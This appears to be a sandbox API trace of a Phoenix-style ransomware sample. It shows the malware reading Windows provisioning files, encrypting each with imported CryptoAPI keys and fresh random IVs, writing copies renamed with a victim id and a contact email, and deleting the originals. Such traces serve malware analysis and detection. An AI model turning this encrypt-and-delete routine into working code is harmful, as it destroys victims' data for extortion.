	[0231.033] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.034] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=7086) returned 1
	[0231.034] CloseHandle (hObject=0x2f0) returned 1
	[0231.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0231.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.034] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.034] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.034] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.034] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.034] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0231.034] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.034] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1bae, lpOverlapped=0x0) returned 1
	[0231.103] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1bb0) returned 1
	[0231.103] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1bb0, lpOverlapped=0x0) returned 1
	[0231.104] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0231.104] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.104] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0231.104] CryptDestroyKey (hKey=0x151580) returned 1
	[0231.104] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x122, lpOverlapped=0x0) returned 1
	[0231.104] CryptDestroyKey (hKey=0x151680) returned 1
	[0231.104] CloseHandle (hObject=0x2f0) returned 1
	[0231.104] CloseHandle (hObject=0x2c0) returned 1
	[0231.104] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 1
	[0231.105] SetEvent (hEvent=0x278) returned 1
	[0231.105] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0231.105] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.106] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=677) returned 1
	[0231.106] CloseHandle (hObject=0x2c0) returned 1
	[0231.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0231.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.107] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.107] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.107] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.107] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.107] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0231.107] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.107] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2a5, lpOverlapped=0x0) returned 1
	[0231.124] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2b0) returned 1
	[0231.124] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2b0, lpOverlapped=0x0) returned 1
	[0231.125] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0231.125] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.125] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0231.125] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0231.125] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x122, lpOverlapped=0x0) returned 1
	[0231.125] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0231.125] CloseHandle (hObject=0x2c0) returned 1
	[0231.125] CloseHandle (hObject=0x2f0) returned 1
	[0231.125] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 1
	[0231.127] SetEvent (hEvent=0x278) returned 1
	[0231.127] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0231.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.127] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=658) returned 1
	[0231.127] CloseHandle (hObject=0x2f0) returned 1
	[0231.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0231.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.128] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.128] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.128] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.128] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0231.128] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.128] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x292, lpOverlapped=0x0) returned 1
	[0231.223] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0231.223] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0231.224] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0231.224] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.224] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0231.224] CryptDestroyKey (hKey=0x151580) returned 1
	[0231.224] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0231.224] CryptDestroyKey (hKey=0x151380) returned 1
	[0231.224] CloseHandle (hObject=0x2f0) returned 1
	[0231.224] CloseHandle (hObject=0x2c0) returned 1
	[0231.224] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml")) returned 1
	[0231.225] SetEvent (hEvent=0x278) returned 1
	[0231.225] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0231.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.226] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=670) returned 1
	[0231.226] CloseHandle (hObject=0x2c0) returned 1
	[0231.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0231.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.226] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.226] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.226] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0231.226] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.226] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x29e, lpOverlapped=0x0) returned 1
	[0231.597] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0231.597] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0231.598] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0231.598] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.598] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0231.598] CryptDestroyKey (hKey=0x151500) returned 1
	[0231.598] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0231.598] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0231.598] CloseHandle (hObject=0x2c0) returned 1
	[0231.598] CloseHandle (hObject=0x2f0) returned 1
	[0231.598] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml")) returned 1
	[0231.719] SetEvent (hEvent=0x278) returned 1
	[0231.719] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0231.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.720] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=729) returned 1
	[0231.720] CloseHandle (hObject=0x2c0) returned 1
	[0231.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0231.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.720] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.720] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
